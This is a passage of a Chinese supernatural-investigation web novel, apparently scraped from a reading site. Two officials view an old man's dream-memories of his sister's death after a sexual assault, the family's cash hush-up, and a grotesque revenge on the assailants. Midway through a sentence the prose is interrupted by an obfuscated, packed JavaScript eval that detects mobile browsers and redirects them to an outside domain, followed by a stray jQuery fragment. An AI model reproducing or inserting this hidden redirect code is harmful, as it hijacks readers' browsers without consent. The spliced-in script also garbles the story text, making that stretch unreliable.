靳清云解释,“对方情绪起伏太大,惊醒了。要等他情绪平复下来,才能再次入梦。”
季曙星点点头,“麻烦靳同志了。不过这梦境会不会刺激到张秋生先生?”
“为人民服务。”靳清云敬了个礼,收回手后,才回答这个问题,“不会,我做了淡化处理,他清醒后,会记得做了个噩梦,但梦里具体情节,记不太清。”
那便好。
季曙星松了口气,又见靳清云又红又专,笑问,“靳同志,要不要加入我们特安局?”
靳清云意动,“我考虑考虑。”
季曙星笑了笑,没有一定要现在就得到个答案。
想起刚刚看到的记忆,他叹了口气,“档案里,没有记载这事,只说张夏生是不小心跌下山崖而死。”
“不过有村民提过,张夏生在桑生村很受欢迎,家家户户都想将张夏生娶回家。”
村民的想法很朴素,那就是女儿肖母,妈妈生了八个儿子,女儿也必定能生八个儿子。
而对乡人来说,能生儿子,就是大事。
所以,有些大妈虽然嫌弃张夏生长得太过漂亮,会将自己儿子的魂勾走,但为了未来孙子,也想捏着鼻子娶她。
“提起张夏生的死,他们很遗憾。所以我倾向于,他们不知道张夏生真实的死因。”
靳清云点头,“在那个年代,又是封闭的乡村,被男人强抱,甚至被逼着跳崖,是一件很丢脸的事,张秋生家为了掩盖这桩丑闻,不与外说很正常。”
至于逼死人的那家人,只要不想坐牢,也不会外说。
这事,随着张夏生的死亡,而掩盖在时间里。
靳清云问:“当年桑生村的人,除了张秋生,都死了?”
“昂,对。”
靳清云略感欣慰,幸好不是受害者长眠地底,加害人幸福生活。
闲聊间,感受到张秋生情绪平静,靳清云又将他拉入梦境。
干了一上午农活,张秋生捶着腰跟在父母和几个哥哥身后往家里走,走到半路,有人过来通知张秋生一家,说是他家张夏生跌落山崖,没了。
张秋生像是被人打了一闷棍,脑袋一片空白。
待瞧见张夏生的尸体,张秋生没崩住,嚎啕大哭。
家里男孩一个接一个,本就不富裕的家更是难以为继,家里小孩都是竞争者,他多一点他就少吃一点,只有张夏生,一出生就唇红齿白,十分漂亮,又打小爱跟在他后边,他怎么打骂都不走,被打了被骂了只朝他甜甜的笑。
被这么对待,他没法不喜欢这个妹妹。
这么多年下来,张夏生差不多是他拉拔着长大,他在外寻到一个野果,有半个是她的,找到一个野鸭蛋,也会给她塞半个。
张家人里,他最看重的就是这个妹妹,连亲生父母都比不上。
可是现在,爱笑漂亮又懂事的妹妹,就这么成了一具尸体,再也不会甜甜地喊他哥。
张秋生不信张夏生的死是意外,他爬上山,在山坡上找到她妹妹遗失的背篓,又在旁边野草里寻到压痕。
果然不是意外,他妹妹,是被人害死的。
梦境模糊,画面一转。
小小的黄土屋内,报纸糊着灰墙,八仙桌上,一个大大的搪瓷杯摆放着。
面色黝黑的老大爷坐在椅子上,抽着用纸卷着劣质烟丝的烟,吞云驾雾。
张秋生愤怒地对老大爷喊:“爹,不能放过他们,送他们去见公安,给妹妹赔命。”
老大爷的对面站着猥琐男人的一家三口,他们从怀里掏出绢布,又拿出一叠钱放到桌上,“五百块。”
“好了。”老大爷终于放下手里的烟,对张秋生道,“这事到此为止,谁也不许说出去。”
“爹!”张秋生不敢置信。
那是他妹妹,张家唯一的女儿!
一条命,就这么用钱填了?
“叫什么?你妹本来就是要嫁人的,嫁了人,被婆家打死的也不少,你就当你妹妹被婆家打死了。”张父又吸了一口,烟雾模糊了他那张黝黑衰老的面容,让人无法看清他眼底神色。
他不耐地开口,“你妹妹是被男人欺负死的,很光荣吗?你还没娶妻,你几个侄女也没说人家,你想让整个张家,都因为那个孽障,一辈子抬不起头?”
抬不起头,就会被人欺负。
他可不想腰杆挺直了一辈子,临到老了,却被人指指点点。
不过是个女娃,便算嫁出去换个彩礼,也不值这么多。
“我不怕,我要他们为我妹妹偿命!”
“啪——”
老大爷一巴掌抽向张秋生,又找了根棍子,狠狠抽向他后背,“你敢!你要是敢将这事宣传出去,信不信我打死你?”
“要不是你妹妹不检点,二柱怎么会欺负她?你看村里,谁家女娃上山,会被欺负?这事到此为止,听不懂还是听不见?”
张父手中棍子没有留手,张秋生被掼倒在地,只能抱着头,无力承受。
画面再次跳转,张秋生在房间里养伤,忽然听到外边喧哗声,他扯扯嘴角,心灰意冷,不想管家里任何事。
张母惊慌地跑进来,“秋生,你妹的尸体没了。”
“什么?”
什么叫他妹的尸体没了?
张秋生忍着疼痛,挣扎着往外走。
他妹妹死得不太体面,家里自然不会准备棺材,只一张草席裹着,准备等天亮在山上随意找个地头埋了。
可是现在,凉席还静静摆放在客厅里,凉席里裹着的尸体,消失不见。
“是小妹,小妹回来索命了。”张秋生阴恻恻地盯着家里人,特别是几个哥哥。
别以为他不知道,他这些哥哥,一个个盯上了她妹妹的买命钱。
整个家里,除了他,也就张母对小妹有几分关心,其他人瞧小妹,就是瞧一个人形的过年肥猪,只等小妹长成,就赶出栏换成钱。
一开始张家人不以为然,可是听到猥琐男人一家赤果果地死在自家炕上,儿子那东西在妈妈体内,父亲的在儿子体内,一家三口,俱带着满足而欣慰的笑,张家人惊惧,不会真是小妹回来索命了吧?
可是小妹不是他们杀的啊。
就算没为她报仇,那也是客观不允许,他们总不能因为她,家里未成婚的大小伙小姑娘,都不用过了吧?
张秋生看他们又是给小妹立牌位,又是供香火,骂了句活该,又觉得意味索然。
他不知道小妹身上发生了什么事,但对方替小妹报了仇,他一辈子感激他。
他没有探究,离开了桑生村,一辈子都没回去。
靳清云看完这部分回忆,心情颇为沉郁。
到现在,对女孩的性..羞..辱,以及极度重男轻女都还存在,更何况是三十多年前?
那个年代,女孩的境遇,还比不上鸡与猪,鸡和猪虽然最后会被卖被宰,但在这之前,它们不用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361135|183687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从早到晚干活,不用遭到欺辱打骂。
鸡与猪,痛苦一时,享乐一生。
而女孩,一生都泡在苦汁里,没多少甜的时候。
就连死亡,也轻飘飘的,没有重量。
区区伍佰元,就能买走女孩那条鲜活的性命。
季曙星沉吟片刻,对靳清云道:“靳同志,能麻烦你将记忆往回调吗?张秋生是如何知道张夏生死亡真相的?”
之前靳清云说,张秋生出现在张夏生死亡现场,是因为他的执念,那在原本的记忆里,张秋生一开始是不知道死亡真相的。
他不觉得猥琐男一家会主动跳出来说,张夏生是被我们给逼死的,而那个年代,没有监控,乡民那个时候都在田间劳作,猥琐男一家若是默默隐匿,这桩事故还真有可能定性为意外。
“好。”靳清云意念动间,一帧帧画面不断变幻,最后定格。
张秋生衣裳凌乱,形容狼狈,他扶着山间生长的大桑树,捂着脸崩溃大哭。
这时,细声细气地声音在山间响起,好似呜呜的山风吹过,又似山鬼在传递消息,在无声寂静又阴寒的山里,来得突兀又诡异。
“赵二柱强抱妹妹,妹妹逃,逃不掉,跳崖。”
张秋生本来也该害怕,可是那话里的内容压过他的害怕,满满地都是激动与恨意。
季曙星虚点那被张秋生扶住的桑树,猜测道,“这棵桑树,成妖了?”
“是那棵在桑生村搅风搅雨的那棵桑树妖?”
一个村子,出现两个桑树妖的可能性不大。
记忆呈现的是一个人的认知,张秋生没察觉到桑树的不对劲,那记忆画面里,那桑树也不会有不对劲。
所以,季曙星的猜测只是猜测,无法穿越回三十年前去验证。
“麻烦靳同志将画面调到赵二柱一家死亡之时。”
靳清云照做。
听到赵二柱一家死亡,张秋生忍着全身疼痛,一瘸一拐地赶了过去。
赵二柱家门口已经站了不少老少爷们和大妈,他们头往里探,指指点点。
张秋生越过他们走了进去,一眼瞧见床上三人叠罗汉的造型,当即哈哈大笑,笑出眼泪。
“靳同志,将床上那三人的面容拉近。”
靳清云感觉自己是处理图片的,截图,拉近,扩大,再将模糊的记忆高清处理。
“瞳仁惊恐,面部表情自然,”季曙星推测,“是微笑蛊。”
幕后之人,或许为蛊师。
“张夏生死亡,他第一时间盗走尸体,又替张夏生复仇,与张夏生的关系应该极为亲密。”
若为女,当为挚友,若为男,乃情..人.。
“靳同志,麻烦你查查张秋生记忆里,有没有张夏生至交好友的记忆?”
“好。”
靳清云闭上双眼,片刻,摁了摁有些疼的太阳穴,摇头道:“没有,张夏生长得十分漂亮,又从小不怎么下田,只在家里干活,或者去山上割猪草之类的轻省活,村里女孩与她玩不到一块。”
“至于男孩,她从小就讨厌男孩,村里男孩从小就欺负她,扯她辫子,揪她脸蛋,或者丢她毛毛虫,长大以后,她对男人也是敬而远之。”
季曙星失望。
但很快又振奋起来。
已经寻到张夏生这个突破口,总比之前毫无头绪好。
“不过,这几张照片,呸,这几个回忆里,张夏生的神态有异。”